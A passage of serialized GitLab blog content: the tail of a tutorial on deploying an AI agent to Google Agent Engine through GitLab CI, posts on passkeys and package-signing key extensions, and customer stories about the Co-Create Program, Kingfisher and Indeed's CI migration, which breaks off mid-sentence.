ID**: Your Google Cloud project ID\n   - **Project Number**: Found in your Google Cloud console\n   - **Workload Identity Pool ID**: A unique identifier for your identity pool\n   - **Provider ID**: A unique identifier for your identity provider\n\nGitLab generates a script for you. Copy and run this script in Google Cloud Shell to establish the Workload Identity Federation between platforms.\n\n**Important:** Add these additional roles to your service principal for Agent Engine deployment:\n\n- `roles/aiplatform.user`\n- `roles/storage.objectAdmin`\n\nYou can add these roles using gcloud commands:\n\n```bash\nGCP_PROJECT_ID=\"\u003Cyour-project-id>\"\nGCP_PROJECT_NUMBER=\"\u003Cyour-project-number>\"\nGCP_WORKLOAD_IDENTITY_POOL=\"\u003Cyour-pool-id>\"\n\ngcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \\\n  --member=\"principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true\" \\\n  --role='roles/aiplatform.user'\n\ngcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \\\n  --member=\"principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true\" \\\n  --role='roles/storage.objectAdmin'\n```\n\n## 2. Create the CI/CD pipeline\n\nNow for the core of the deployment — the CI/CD pipeline. Create a `.gitlab-ci.yml` file in your project root:\n\n```yaml\nstages:\n  - test\n  - deploy\n\ncache:\n  paths:\n    - .cache/pip\n  key: ${CI_COMMIT_REF_SLUG}\n\nvariables:\n  GCP_PROJECT_ID: \"\u003Cyour-project-id>\"\n  GCP_REGION: \"us-central1\"\n  STORAGE_BUCKET: \"\u003Cyour-staging-bucket>\"\n  AGENT_NAME: \"Canada City Advisor\"\n  AGENT_ENTRY: \"canada_city_advisor\"\n\nimage: google/cloud-sdk:slim\n\n# Security scanning templates\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n  - template: Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\ndeploy-agent:\n  stage: deploy\n  identity: google_cloud\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\"\n  before_script:\n    - gcloud config set core/disable_usage_reporting true\n    - gcloud config set component_manager/disable_update_check true\n    - pip install -q --no-cache-dir --upgrade pip google-genai google-cloud-aiplatform -r requirements.txt --break-system-packages\n  script:\n    - gcloud config set project $GCP_PROJECT_ID\n    - adk deploy agent_engine \n        --project=$GCP_PROJECT_ID \n        --region=$GCP_REGION \n        --staging_bucket=gs://$STORAGE_BUCKET \n        --display_name=\"$AGENT_NAME\" \n        $AGENT_ENTRY\n```\n\nThe pipeline consists of two stages:\n\n**Test stage** — GitLab's security scanners run automatically. The included templates provide dependency scanning, static application security testing (SAST), and secret detection without additional configuration.\n\n**Deploy stage** — Uses the ADK CLI to deploy your agent directly to Agent Engine. The staging bucket temporarily holds your application workload before Agent Engine picks it up for deployment.\n\n### Key configuration notes\n\n- The `identity: google_cloud` directive enables keyless authentication via Workload Identity Federation.\n- Security scanners are included as templates, meaning they run by default with no setup required.\n- The `adk deploy agent_engine` command handles all the complexity of packaging and deploying your agent.\n- Pipeline caching speeds up subsequent deployments by preserving pip dependencies.\n\n## 3. Deploy and verify\n\nWith your pipeline configured:\n\n1. Commit your agent code and `.gitlab-ci.yml` to GitLab.\n2. Navigate to **Build > Pipelines** to monitor execution.\n3. Watch the test stage complete security scans.\n4. Observe the deploy stage push your agent to Agent Engine.\n\nOnce the pipeline succeeds, verify your deployment in the Google Cloud Console:\n\n1. Navigate to **Vertex AI > Agent Engine**.\n2. Locate your deployed agent.\n3. Note the **resource name** — you'll need this for testing.\n\n## 4. Test your deployed agent\n\nTest your agent using a curl command. You'll need three pieces of information:\n\n- **Agent ID**: From the Agent Engine console (the resource name's numeric identifier)\n- **Project ID**: Your Google Cloud project\n- **Location**: The region where you deployed (e.g., `us-central1`)\n\n```bash\nPROJECT_ID=\"\u003Cyour-project-id>\"\nLOCATION=\"us-central1\"\nAGENT_ID=\"\u003Cyour-agent-id>\"\nTOKEN=$(gcloud auth print-access-token)\n\ncurl -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  \"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines/${AGENT_ID}:streamQuery\" \\\n  -d '{\n    \"input\": {\n      \"message\": \"I make $85,000 per year and I prefer cities with mild winters and a vibrant cultural scene. I also want to be near the coast if possible. What Canadian cities would you recommend?\",\n      \"user_id\": \"demo-user\"\n    }\n  }' | jq -r '.content.parts[0].text'\n```\n\nIf everything is configured correctly, your agent will respond with personalized city recommendations based on the budget and lifestyle preferences provided.\n\n## Security benefits of this approach\n\nThis deployment pattern provides several security advantages:\n\n- **No long-lived credentials**: Workload Identity Federation eliminates service account keys entirely.\n- **Automated vulnerability scanning**: Every deployment is scanned before reaching production.\n- **Complete audit trail**: GitLab maintains full visibility of who deployed what and when.\n- **Principle of least privilege**: Fine-grained IAM roles limit access to only what's needed.\n\n## Summary\n\nDeploying AI agents to production doesn't have to be complex. By combining GitLab's DevSecOps platform with Google Cloud's Agent Engine, you get:\n\n- A managed runtime that handles scaling and infrastructure\n- Built-in security scanning without additional tooling\n- Keyless authentication via native cloud integration\n- A streamlined deployment process that fits modern AI development workflows\n\nWatch the full demo:\n\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/sxVFa2Mk-x4?si=Oi3cUjhgd7FT2yEd\" frameborder=\"0\" allowfullscreen=\"true\" title=\"Deploy AI Agents to Agent Engine with GitLab\"> \u003C/iframe> \u003C/figure>\n\n> Ready to try it yourself? Use this tutorial's [complete code example](https://gitlab.com/gitlab-partners-public/google-cloud/demos/agent-engine-demo) to get started now. Not a GitLab customer yet? Explore the DevSecOps platform with [a free trial](https://about.gitlab.com/free-trial/).\n",{"featured":679,"template":810,"slug":878},"secure-and-fast-deployments-to-google-agent-engine-with-gitlab",{"category":702,"slug":704,"posts":880},[881,893,905],{"content":882,"config":891},{"title":883,"description":884,"authors":885,"heroImage":887,"date":888,"body":889,"category":704,"tags":890},"Passkeys now available for passwordless sign-in and 2FA on GitLab","Learn how to register a passkey to your account and how two-factor authentication works as a phishing-resistant method.",[886],"GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772029801/qk75nu1eezxa6aiefpup.png","2026-02-25","Passkeys are now available on GitLab, and offer a more secure and convenient way to access your account. You can use passkeys for passwordless sign-in or as a phishing-resistant two-factor authentication (2FA) method. Passkeys offer the ability to authenticate using your device's fingerprint, face recognition, or PIN. For accounts with 2FA enabled, passkeys automatically become available as your default 2FA method.\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv\" title=\"Passwordless authentication using passkeys\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe> \u003C/figure>\n\n\u003Cbr>\u003C/br>\n\nTo register a passkey to your account, go to your profile settings and select **Account > Manage authentication**.\n\nPasskeys use WebAuthn technology and public-key cryptography made up of both a private and public key. Your private key stays securely on your device and never leaves, while your public key is stored on GitLab. Even if GitLab were to become compromised, attackers cannot use your stored credentials to access your account. Passkeys work across desktop browsers (Chrome, Firefox, Safari, Edge), mobile devices (iOS 16+, Android 9+), and FIDO2 hardware security keys, allowing you to register multiple passkeys across your devices for convenient access.\n\n![Passkeys sign-in with two-factor authentication](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png)\n\nGitLab signed the [CISA Secure by Design Pledge](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/), committing to improve our security posture and help customers develop secure software faster. One key objective of the pledge is to  increase the use of  [multi-factor authentication (MFA)](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/#multi-factor-authentication-mfa) across the manufacturer’s products. Passkeys are an integral part of this goal, and provide a seamless, phishing-resistant MFA method that makes signing in to GitLab both more secure and more convenient.\n\nIf you have questions, want to share your experience, or would like to engage directly with our team about potential improvements, see the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758).\n",[785,774],{"featured":679,"template":810,"slug":892},"passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab",{"content":894,"config":903},{"title":895,"description":896,"heroImage":897,"authors":898,"date":900,"body":901,"category":704,"tags":902},"GPG key used to sign GitLab package repositories' metadata has been extended","The GPG key used to sign repository metadata on GitLab's Packagecloud instance at packages.gitlab.com has been extended – here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771934335/c4f7zzdelhwcihaqwxym.png",[899],"Denis Afonso","2026-02-24","GitLab uses GPG key to sign the metadata of the various apt and yum repositories that are used to distribute official omnibus-gitlab and gitlab-runner packages, to ensure integrity of packages, in addition to the packages themselves being signed by a separate key.\n\nThe current key used for the metadata signing, with the fingerprint `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`, is set to expire on Feb. 27, 2026, and has been extended to expire on Feb 6, 2028.\n\n## Why are we extending the deadline?\n\nThe repository metadata signing key's expiration is extended periodically to comply with GitLab security policies and to limit the exposure should the key become compromised. The key's expiration is extended instead of rotating to a new key to be less disruptive for users, as rotating would require all users to replace their trusted key\n\n## What do I need to do?\n\nIf you have already configured GitLab repositories on your machine before Feb. 17, 2026, please check out the official documentation on [how to fetch and add the new key](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys) to your machine.\n\nIf you are a new user, there is nothing specific for you to do other than follow the [GitLab installation page](https://about.gitlab.com/install/) or the [gitlab-runner installation docs](https://docs.gitlab.com/runner/install/linux-repository.html).\n\nMore information concerning [verification of the repository metadata signatures](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys) is available in the Omnibus documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for support@gitlab.com or using the key ID of `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`.\n\nAlternatively, you could download it directly from packages.gitlab.com using the URL: `https://packages.gitlab.com/gpg.key`.\n\n## What if I need additional help?\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).",[774],{"featured":679,"template":810,"slug":904},"gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended",{"content":906,"config":915},{"title":907,"description":908,"heroImage":909,"date":910,"authors":911,"body":913,"category":704,"tags":914},"GitLab extends Omnibus package signing key expiration to 2028","Our GPG key will now expire on Feb. 16, 2028. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771602757/jukp7pyqma8ifyzmuemi.png","2026-02-20",[912],"Pratik Singh","GitLab uses a GNU Privacy Guard (GPG) key to sign all Omnibus packages created within the CI pipelines to ensure that the packages have not been tampered with. This key is separate from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. The Omnibus package signing key, which was set to expire on Feb. 14, 2026, has been extended to expire on Feb, 16, 2028.\n\n## Why are we extending the deadline?\n\nThe package signing key's expiration is extended periodically to comply with GitLab security policies and to limit the exposure should the key become compromised. The key's expiration is extended instead of rotating to a new key to be less disruptive for users, as rotating would require all users to replace their trusted key\n\n## What do I need to do?\n\nThe only action that needs to be taken is to update your copy of the package signing key _if_ you validate the signatures on the Omnibus packages that GitLab distributes.\n\nThe package signing key is not the key that signs the repository metadata used by the OS package managers like `apt` or `yum`. Unless you are specifically verifying the package signatures or have configured your package manager to verify the package signatures, there is no action needed on your part to continue installing Omnibus packages.\n\nMore information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures) is available in the Omnibus documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for `support@gitlab.com` or using the key ID of `98BF DB87 FCF1 0076 416C  1E0B AD99 7ACC 82DD 593D`.\n\nAlternatively, you could download it directly from packages.gitlab.com using the URL: `https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-CB947AD886C8E8FD.pub.gpg`.\n\n\n## What if I need additional help?\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).\n",[774],{"featured":679,"template":810,"slug":916},"gitlab-extends-omnibus-package-signing-key-expiration-to-2028",{"category":714,"slug":716,"posts":918},[919,934,945],{"content":920,"config":932},{"title":921,"description":922,"authors":923,"heroImage":925,"date":926,"body":927,"category":716,"tags":928},"The Co-Create Program: How customers are collaborating to build GitLab","Learn how organizations like Thales, Scania, and Kitware are partnering with GitLab engineers to contribute meaningful features that benefit the entire community.",[924],"Fatima Sarah Khalid","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","2025-01-30","This past year, over 800 community members have made more than 3,000 contributions to GitLab. These contributors include team members from global organizations like Thales, Scania, and Kitware, who are helping shape GitLab's future through the [Co-Create Program](https://about.gitlab.com/community/co-create/) — GitLab's collaborative development program where customers work directly with GitLab engineers to contribute meaningful features to the platform.\n\nThrough workshops, pair programming sessions, and ongoing support, program participants get hands-on experience with GitLab's architecture and codebase while solving issues or improving existing features.\n\n\"Our experience with the Co-Create Program has been incredible,\" explains Sébastien Lejeune, open source advocate at Thales. \"It only took two months between discussing our contribution with a GitLab Contributor Success Engineer and getting it live in the GitLab release.\"\n\nIn this post, we'll explore how customers have leveraged the Co-Create Program to turn their ideas into code, learning and contributing along the way.\n\n## The Co-Create experience\n[The GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit) helps contributors get started developing on GitLab. \"The advice I would give new contributors is to remember that you can't break anything with the GDK,\" says Hook. \"If you make a change and it doesn't work, you can undo it or start again. The beauty of GDK is that you can tinker, test, and learn without worrying about the environment.\"\n\nEach participating organization in the Co-Create Program receives support throughout their contribution journey:\n\n- __Technical onboarding workshop__: A dedicated session to set up the GitLab Development Kit (GDK) and understand GitLab's architecture\n- __1:1 engineering support__: Access to GitLab engineers for pair programming and technical guidance\n- __Architecture deep dives__: Focused sessions on specific GitLab components relevant to the issue the organization is contributing to\n- __Code review support__: Detailed feedback and guidance through the merge request process\n- __Regular check-ins__: Ongoing collaboration to ensure progress and address any challenges\n\nThis structure ensures that teams can contribute effectively, regardless of their prior experience with GitLab's codebase or the Ruby/Go programming language. As John Parent from Kitware notes, \"If you've never seen or worked with GitLab before, you're staring at a sophisticated architecture and so much code across different projects. The Co-Create Program helps distill what would take weeks of internal training into a targeted crash course.\"\n\nThe result is a program that not only helps deliver new features but also builds lasting relationships between GitLab and its user community. \"It's inspiring for our engineers to see the passion our customers bring to contributing to and building GitLab together,\" shares Shekhar Patnaik, principal engineer at GitLab. \"Customers get to see the 'GitLab way,' and engineers get to witness their commitment to shaping the future of GitLab.\"\n\n## Enhancing project UX with Thales\nWhen Thales identified opportunities to improve GitLab's empty project UI, they didn't just file a feature request — they built the solution themselves. Their contributions focused on streamlining the new project setup experience by simplifying SSH/HTTPS configuration with a tabbed interface and adding copy/paste functionality for the code snippets. These changes had a significant impact on developer workflows.\n\nThe team's impact extended beyond the UX improvements. Quentin Michaud, PhD fellow for cloud applications on the edge at Thales, contributed to improving the GitLab Development Kit (GDK). As a package maintainer for Arch Linux, Michaud's expertise helped improve GDK's documentation and support its containerization efforts, making it easier for future contributors to get started.\n\n\"My open source experience helped me troubleshoot GDK's support for Linux distros,” says Michaud. “While improving package versioning documentation, I saw that GitLab's Contributor Success team was also working to set up GDK into a container. Seeing our efforts converge was a great moment for me — it showed how open source collaboration can help build better solutions.\"\n\nThe positive experience for the Thales team means that Lejeune now uses the Co-Create Program as \"a powerful example to show our managers the return on investment from open source contributions.\"\n\n## Advancing package support with Scania\nWhen Scania needed advanced package support in GitLab, they saw an opportunity to contribute and build it themselves. \n\n\"As long-time GitLab users who actively promote open source within our organization, the Co-Create Program gave us a meaningful way to contribute directly to open source,\" shares Puttaraju Venugopal Hassan, solution architect at Scania.\n\nThe team started with smaller changes to familiarize themselves with the codebase and review process, then progressed to larger features. \"One of the most rewarding aspects of the Co-Create Program has been looking back at the full, end-to-end process and seeing how far we've come,\" reflects Océane Legrand, software developer at Scania. \"We started with discovery and smaller changes, but we took on larger tasks over time. It's great to see that progression.\" \n\nTheir contributions include bug fixes for the package registry and efforts to enhance the Conan package registry feature set, bringing it closer to general availability (GA) readiness while implementing Conan version 2 support. Their work and collaboration with GitLab demonstrates how the Co-Create Program can drive significant improvements to GitLab’s package registry capabilities.\n\n\"From the start, our experience with the Co-Create Program was very organized. We had training sessions that guided us through everything we needed to contribute. One-on-one sessions with a GitLab engineer also gave us an in-depth look at GitLab’s package architecture, which made the contribution process much smoother,\" said Juan Pablo Gonzalez, software developer at Scania. \n\nThe impact of the program goes beyond code — program participants are also building valuable skills as a direct result of their contributions. In [the GitLab 17.8 release](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp), both Legrand and Gonzalez were recognized as GitLab MVPs. Legrand talked about how the work she's doing in open source impacts both GitLab and Scania, including building new skills for her and her team: \"Contributing through the Co-Create Program has given me new skills, like experience with Ruby and background migrations. When my team at Scania faced an issue during an upgrade, I was able to help troubleshoot because I'd already encountered it through the Co-Create Program.\"\n\n## Optimizing authentication for high-performance computing with Kitware\nKitware brought specialized expertise from their work with national laboratories to improve GitLab's authentication framework. Their contributions included adding support for the OAuth2 device authorization grant flow in GitLab, as well as implementing new database tables, controllers, views, and documentation. This contribution enhances GitLab's authentication options, making it more versatile for devices without browsers or with limited input capabilities.\n\n\"The Co-Create Program is the most efficient and effective way to contribute to GitLab as an external contributor,\" shares John Parent, R&D engineer at Kitware. \"Through developer pairing sessions, we found better implementations that we might have missed working alone.\"\n\nAs a long-time open source contributor, Kitware particularly appreciated GitLab's approach to development. \"I assumed GitLab wouldn't rely on out-of-the-box solutions at its scale, but seeing them incorporate a Ruby dependency instead of building a custom in-house solution was great,” says Parent. “Coming from the C++ world, where package managers are rare, it was refreshing to see this approach and how straightforward it could be.\"\n\n## Building better together: Benefits of Co-Create\nThe Co-Create Program creates value that flows both ways. \"The program bridges a gap between us as GitLab engineers and our customers,\" explains Imre Farkas, staff backend engineer at GitLab. \"As we work with them, we hear their day-to-day challenges, the parts of GitLab they rely on, and where improvements can be made. It's great to see how enthusiastic they are about getting involved in building GitLab with us.\"\n\nThis collaborative approach also accelerates GitLab's development. As Shekhar Patnaik, principal engineer at GitLab, observes: \"Through Co-Create, our customers are helping us move our roadmap forward. Their contributions allow us to deliver critical features faster, benefitting our entire user base. As the program scales, there's a real potential to accelerate development on our most impactful features by working alongside the very people who rely on them.\"\n\n## Get started with Co-Create\nReady to turn your feature requests into reality? Whether you're looking to enhance GitLab's UI like Thales, improve package support like Scania, or optimize authentication like Kitware, the Co-Create Program welcomes organizations who want to actively shape GitLab's future while building valuable open source experience.\n\nContact your GitLab representative to learn more about participating in the Co-Create Program, or visit our [Co-Create page](https://about.gitlab.com/community/co-create/) for more information.\n",[929,930,931],"contributors","open source","customers",{"slug":933,"featured":13,"template":810},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"content":935,"config":943},{"title":936,"description":937,"authors":938,"heroImage":925,"date":940,"body":941,"category":716,"tags":942},"Kingfisher transforming the developer experience with GitLab","Learn how the international company focuses on DevSecOps, including automation, to reduce complexity in workflows for better efficiency.",[939],"Sharon Gaudin","2024-11-12","Kingfisher plc, an international home improvement company, has leaned into GitLab’s end-to-end platform to help it build a DevSecOps foundation that is revolutionizing its developer experience. And the company plans to continue that improvement by increasing its use of platform features, focusing on security, simplifying its toolchain, and increasing the use of automation.\n\n> \u003Cimg align=\"left\" width=\"200\" height=\"200\" hspace=\"5\" vspace=\"5\" alt=\"Chintan Parmar\" src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176076/Blog/ro7u8p695zw9fllbk4j5.png\" style=\"float: left; margin-right: 25px;\"> “The whole point of this is to reduce friction for our engineers, taking away a lot of the complexity in their workflow, and bringing in best practices and governance,” says Chintan Parmar, site reliability engineering manager at Kingfisher. “In terms of what we've done and what we're doing at the moment, it really is about building a foundation in terms of CI/CD and changing the way we deploy to bring in consistency and improve the developer experience.”\n\nParmar talked about his team and their efforts during the [GitLab DevSecOps World Tour event](https://about.gitlab.com/events/epic-conference/) in London last month. In an on-stage interview with Sherrod Patching, vice president of Customer Success Management at GitLab, he laid out Kingfisher’s journey with the platform, which is enabling its teams, while also making it easier and faster to move software updates and new projects from ideation to deployment.\n\n[Kingfisher](https://www.kingfisher.com/en/index.html) is a parent company with more than 2,000 stores in eight countries across Europe. Listed on the London Stock Exchange and part of the Financial Times Stock Exchange (FTSE) 100 Index, the group reported £13 billion in total revenue in FY 2023/24. Its brands include B&Q, Screwfix, Castorama, and Brico Depot.\n\nThe company first adopted GitLab in 2016, using a free starter license, and then moved to Premium in 2020. In that time, it also has moved from on-premise to a cloud environment, started using shared GitLab runners and source code management, and began building out a CI/CD library that gives team members easy access to standardized and reusable components for typical pipeline stages, such as build, deploy, and test.\n\n## Tracking metrics that execs care about\n\nKingfisher also is tracking metrics, like deployment frequency, lead time to change, and change failure rates, with GitLab. And teams are analyzing value streams, mapping workflows, and finding bottlenecks. All of those metrics are being translated into data that company leaders can sink their teeth into.\n\n“Execs may not care about whether a merge request has been waiting 15 or 20 minutes, but they do care about how we translate that time value into dollars or pounds,” says Parmar, who used GitLab when he previously worked at [Dunelm Group, plc,](https://about.gitlab.com/customers/dunelm/) another major UK-based retailer. “Kingfisher is a very data-driven organization. We are looking to overlay these metrics to see where we can continue to improve our developer experience, eliminating slowdowns and manual tasks, while increasing automation.”\n\nWhile on-stage, Parmar made it clear that all the changes being made are aimed at improving software development and deployment. However, it’s equally paramount to making team members’ jobs easier, giving them more time and autonomy to do the kind of work they enjoy, instead of what can seem like a never-ending stream of repetitive, manual tasks. He noted that the team is so focused on easing workflows and giving engineers more time to be innovative, it has created a “developer experience squad.”\n\n## Putting people first while laying out priorities\n\nSo what’s coming next for Kingfisher and its engineering squads, which have about 600 practitioners?\n\nAccording to Parmar, Kingfisher already has its priorities mapped out. Using GitLab to [move security left](https://about.gitlab.com/solutions/application-security-testing/) is at the top of their list. The group also is focused on continuing to reduce its toolchain, and using automation to increase productivity. And he expects that early in 2025, teams will begin “dabbling” with the artificial intelligence capabilities in [GitLab Duo](https://about.gitlab.com/gitlab-duo/), a suite of AI-powered features in the platform that help increase velocity and solve key pain points across the software development lifecycle. Kingfisher will focus on how that can further increase its efficiency and productivity.\n\nTo get all of this done, Parmar says the first step is to ensure that people come first.\n\n“We’re focused on the hearts and minds of our people... and remembering that people can be attached to how they work through pipelines,” he adds. “People have different ways of building their pipelines. We need to understand what they need, what their workflows look like, and then work with them to find the right solution. After, we’ll go back to them with data that shows the improvements worked. So instead of telling them what they need, we find out what that is, and fix what’s slowing them down. That builds a very good rapport with our engineers.”\n\nChanging how a team creates and deploys software is a journey. Parmar suggests that collaboratively taking developers and security teams on that journey, instead of dragging them along, makes a big difference in ease of migration and in easing team members’ user experience.\n\n> Learn [how other GitLab customers use the DevSecOps platform](https://about.gitlab.com/customers/) to gain results for customers.\n",[931,505,537,823],{"slug":944,"featured":13,"template":810},"kingfisher-transforming-the-developer-experience-with-gitlab",{"content":946,"config":956},{"title":947,"description":948,"authors":949,"heroImage":951,"date":952,"body":953,"category":716,"tags":954},"How Indeed transformed its CI platform with GitLab","The world's #1 job site migrated thousands of projects to GitLab CI, boosting productivity and cutting costs. Learn the benefits they realized, including a 79% increase in daily pipelines.",[950],"Carl Myers","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","2024-08-27","***Editor's note: From time to time, we invite members of our customer community to contribute to the GitLab Blog. Thanks to Carl Myers, Manager of CI Platforms at Indeed, for sharing your experience with GitLab.***\n\nHere at Indeed, our mission is to help people get jobs. Indeed is the [#1 job site](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) in the world with more than 350 million unique visitors every month.\n\nFor Indeed's Engineering Platform teams, we have a slightly different motto: \"We help people to help people get jobs.\" As part of a data-driven engineering culture that has spent the better part of two decades always putting the job seeker first, we are responsible for building the tools that not only make this possible, but empower engineers to deliver positive outcomes to job seekers every day.\n\nGitLab Continuous Integration has allowed Indeed’s CI Platform team of just 11 people to effectively support thousands of users across the company. Other benefits Indeed has realized by moving to GitLab CI include:\n- 79% increase in daily pipelines\n- 10-20% lower CI hardware costs\n- Decreased support burden\n\n## Evolving our CI platform: From Jenkins to a scalable solution\n\nLike many large technology companies, we built our CI platform organically as the company scaled, using the de facto open source and industry standard solutions available at the time. Back in 2007, when Indeed had fewer than 20 engineers, we were using Hudson, Jenkins’ direct predecessor.\n\nToday, through nearly two decades of growth, we have thousands of engineers. As new technology became available, we made incremental improvements, switching to Jenkins around 2011. Another improvement allowed us to move most of our workloads to dynamic cloud worker nodes using [AWS EC2](https://aws.amazon.com/ec2/). As we entered the Kubernetes age, however, the system architecture reached its limits.\n\nJenkins’ architecture was not created with the cloud in mind. Jenkins operates by having a \"controller\" node, a single point of failure that runs critical parts of a pipeline and farms out certain steps to worker nodes (which can scale horizontally to some extent). Controllers are also a manual scaling axis.\n\nIf you have too many jobs to fit on one controller, you must partition your jobs across controllers manually. CloudBees offers ways to mitigate this, including the CloudBees Jenkins Operations Center, which allows you to manage your constellation of controllers from a single centralized place. However, controllers remain challenging to run in a Kubernetes environment because each controller is a fragile single point of failure. Activities like node rollouts or hardware failures cause downtime.\n\nIn addition to the technical limitations baked into Jenkins itself, our CI platform also had several problems of our own making. For example, we used the Groovy Jenkins DSL to generate jobs from code in each repository. This led to each project having its own copy-pasted job pipeline, resulting in hundreds of versions that were hard to maintain and update. While Indeed’s engineering culture values flexibility and allows teams to operate in separate repositories, this flexibility became a burden as teams spent too much time addressing regular maintenance requests.\n\nRecognizing our technical debt, we turned to the [Golden Path pattern](https://tag-app-delivery.cncf.io/whitepapers/platforms/), which allows flexibility while providing a default route to simplify updates and encourage consistent practices across projects.\n\nThe CI Platform team at Indeed is not very large. Our team of around 11 engineers supports thousands of users, fielding support requests, performing upgrades and maintenance, and enabling always-on support for our global company.\n\nBecause our team not only supports our GitLab instance but also the entire CI platform, including the artifact server, our shared build code, and multiple other custom components of our platform, we had our work cut out for us. We needed a plan that would help us address our challenges while making the most efficient use of our existing resources.\n\n## Moving to GitLab CI\n\nAfter a careful design review with key stakeholders, we decided to migrate the entire company from Jenkins to GitLab CI. The primary reasons for choosing GitLab CI were:\n- We were already using GitLab for source code management.\n- GitLab is a complete offering that provides everything we need for CI.\n- GitLab CI is designed for scalability and the cloud.\n- GitLab CI enables us to write templates that extend other templates, which is compatible with our golden path strategy.\n- GitLab is open source software and the GitLab team has always been supportive in helping us submit fixes, giving us extra flexibility and reassurance.\n\nBy the time we officially announced that the GitLab CI Platform would be generally available to users, we already had 23% of all builds happening in GitLab CI from a combination of grassroots efforts and early adopters.\n\nThe challenge of the migration, however, would be the long tail. Due to the number of custom builds in Jenkins, an automated migration tool would not work for the majority of teams. Most of the benefits of the new system would not come until the old system was at 0%. Only then could we turn off the hardware and save the CloudBees license fee.\n\n## Feature parity and the benefits of starting over\n\nThough we support many different technologies at Indeed, the three most common languages are Java, Python, and JavaScript. These language stacks are used to make libraries, deployables (web services or applications), and cron jobs (a process that runs at regular intervals, for example, to build a data set in our data lake). Each of these formed a matrix of project types (Java Library, Python Cronjob, JavaScript Webapp, etc.) for which we had a skeleton in Jenkins. Therefore, we had to produce a golden path template in GitLab CI for each of these project types.\n\nMost users could use these recommended paths without change, but for those who did require customization, the golden path would still be a valuable starting point and enable them to change only what they needed, while still benefiting from centralized template updates in the future.\n\nWe quickly realized that most users, even those with customizations, were happy to take the golden path and at least try it. If they missed their customizations, they could always add them later. This was a surprising result! We thought that teams who had invested in significant customization would be loath to give them up, but in the majority of cases teams just didn't care about them anymore. This allowed us to migrate many projects very quickly — we could just drop the golden path (a small file about 6 lines long with includes) into their project, and they could take it from there.\n\n## InnerSource to the rescue\n\nThe CI Platform team also adopted a policy of \"external contributions first\" to encourage everyone in the company to participate. This is sometimes called InnerSource. We wrote tests and documentation to enable external contributions — contributions from outside our immediate team — so teams that wanted to write customizations could instead include them in the golden path behind a feature flag. This let them share their work with others and ensure we didn't break them moving forward (because they became part of our codebase, not theirs).\n\nThis also had the benefit that particular teams who were blocked waiting for a feature they needed were empowered to work on the feature themselves. We could say \"we plan to implement the feature in a few weeks, but if you need it earlier than that we are happy to accept a contribution.\" In the end, many core features necessary for parity were developed in this manner, more quickly and better than our team had resources to do it. The migration would not have been a success without this model.\n\n## Ahead of schedule and under budget\n\nOur CloudBees license expired on April 1, 2024. This gave us an aggressive target to achieve the full migration. This was particularly ambitious considering that at the time, 80% of all builds (60% of all projects) still used Jenkins for their CI. This meant over 2,000 [Jenkinsfiles](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) would still need to be rewritten or replaced with our golden path templates.\n\nTo achieve this target, we made documentation and examples available, implemented features where possible, and helped our users contribute features where they were able.\n\nWe started regular office hours, where anyone could come and ask questions or seek our help to migrate. We additionally prioritized support questions relating to migration ahead of almost everything else. Our team became GitLab CI experts and shared that expertise inside our team and 